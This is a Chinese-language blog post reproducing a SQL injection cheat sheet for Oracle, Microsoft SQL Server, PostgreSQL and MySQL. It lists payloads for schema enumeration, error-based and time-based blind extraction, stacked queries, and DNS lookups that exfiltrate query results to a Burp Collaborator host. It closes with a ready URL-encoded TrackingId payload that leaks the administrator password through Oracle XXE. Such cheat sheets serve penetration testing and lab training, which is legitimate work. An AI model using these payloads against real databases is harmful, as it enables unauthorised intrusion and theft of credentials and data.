SQL注入备忘录

                    <link rel="stylesheet" href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/editerView/markdown_views-f23dff6052.css">
                    <link rel="stylesheet" href="https://csdnimg.cn/release/blogv2/dist/mobile/css/edit_views_md-250d69367f.min.css">
                    <link rel="stylesheet" href="https://csdnimg.cn/release/blogv2/dist/mdeditor/css/style-e504d6a974.css">
                    <h2><a id="SQL_0"></a>SQL注入备忘单</h2> 

此 SQL 注入备忘单包含有用的语法示例,您可以使用这些示例来执行执行 SQL 注入攻击时经常出现的各种任务。

字符串连接

您可以将多个字符串连接在一起以形成单个字符串。

| 神谕 | 'foo'||'bar' |
| ---------------- | ------------------------------------------------------------ |
| Microsoft | 'foo'+'bar' |
| PostgreSQL数据库 | 'foo'||'bar' |
| MySQL数据库 | 'foo' 'bar'[注意两个字符串之间的空格] CONCAT('foo','bar') |

您可以从具有指定长度的指定偏移量中提取字符串的一部分。请注意,偏移指数是从 1 开始的。以下每个表达式都将返回字符串 。ba

神谕SUBSTR('foobar', 4, 2)
MicrosoftSUBSTRING('foobar', 4, 2)
PostgreSQL数据库SUBSTRING('foobar', 4, 2)
MySQL数据库SUBSTRING('foobar', 4, 2)

评论

您可以使用注释来截断查询,并删除原始查询中输入后面的部分。

神谕--comment
Microsoft--comment/*comment*/
PostgreSQL数据库--comment/*comment*/
MySQL数据库#comment -- comment[注意双破折号后面的空格] /*comment*/

数据库版本

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息非常有用。

神谕SELECT banner FROM v$versionSELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQL数据库SELECT version()
MySQL数据库SELECT @@version

数据库内容

您可以列出数据库中存在的表以及这些表包含的列。

神谕SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
MicrosoftSELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL数据库SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL数据库SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

条件错误

您可以测试单个布尔条件,如果条件为 true,则触发数据库错误。

神谕SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
MicrosoftSELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL数据库1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL数据库SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')

通过可见的错误消息提取数据

您可能会引发错误消息,这些错误消息会泄露恶意查询返回的敏感数据。

MicrosoftSELECT 'foo' WHERE 1 = (SELECT 'secret')> Conversion failed when converting the varchar value 'secret' to data type int.
PostgreSQL数据库SELECT CAST((SELECT password FROM users LIMIT 1) AS int)> invalid input syntax for integer: "secret"
MySQL数据库SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))> XPATH syntax error: '\secret'
mysql数据库的另一种and (extractvalue(1,concat(0x7e,database(),0x7e)))

批处理(或堆叠)查询

您可以使用批处理查询连续执行多个查询。请注意,在执行后续查询时,结果不会返回给应用程序。因此,此技术主要用于盲漏洞,您可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。

神谕Does not support batched queries.
MicrosoftQUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE
PostgreSQL数据库QUERY-1-HERE; QUERY-2-HERE
MySQL数据库QUERY-1-HERE; QUERY-2-HERE
注意

使用 MySQL 时,批处理查询通常不能用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库进行通信,则偶尔会出现这种情况。

时间延迟

在处理查询时,可能会导致数据库中出现时间延迟。以下情况将导致 10 秒的无条件时间延迟。

神谕dbms_pipe.receive_message(('a'),10)
MicrosoftWAITFOR DELAY '0:0:10'
PostgreSQL数据库SELECT pg_sleep(10)
MySQL数据库SELECT SLEEP(10)

有条件的时间延迟

您可以测试单个布尔条件,如果条件为 true,则触发时间延迟。

| 神谕 | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
| ---------------- | ------------------------------------------------------------ |
| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
| PostgreSQL数据库 | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
| MySQL数据库 | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |

DNS查询

可以使数据库对外部域执行 DNS 查找。为此,您需要使用 Burp Collaborator 生成一个唯一的 Burp Collaborator 子域,您将在攻击中使用该子域,然后轮询 Collaborator 服务器以确认是否发生了 DNS 查找。

神谕(XXE)触发 DNS 查找的漏洞。该漏洞已修补,但存在许多未修补的 Oracle 安装:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual以下技术适用于完全修补的 Oracle 安装,但需要提升的权限:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL数据库copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL数据库以下技术仅适用于 Windows:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

使用数据外泄进行 DNS 查找

可以使数据库对包含注入查询结果的外部域执行 DNS 查找。为此,您需要使用 Burp Collaborator 生成一个唯一的 Burp Collaborator 子域,您将在攻击中使用该子域,然后轮询 Collaborator 服务器以检索任何 DNS 交互的详细信息,包括泄露的数据。

| 神谕 | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
| ---------------- | ------------------------------------------------------------ |
| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
| PostgreSQL数据库 | create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN''';execute c;END;$$ language plpgsql security definer;SELECT f(); |
| MySQL数据库 | 以下技术仅适用于 Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |

TrackingId=x’+UNION+SELECT+EXTRACTVALUE(xmltype(‘<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//’||(SELECT+password+FROM+users+WHERE+username%3d’administrator’)||‘.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>’),‘/l’)+FROM+dual–

posted @ 2024-11-06 18:49  whitehe  阅读(8)  评论(0编辑  收藏  举报  来源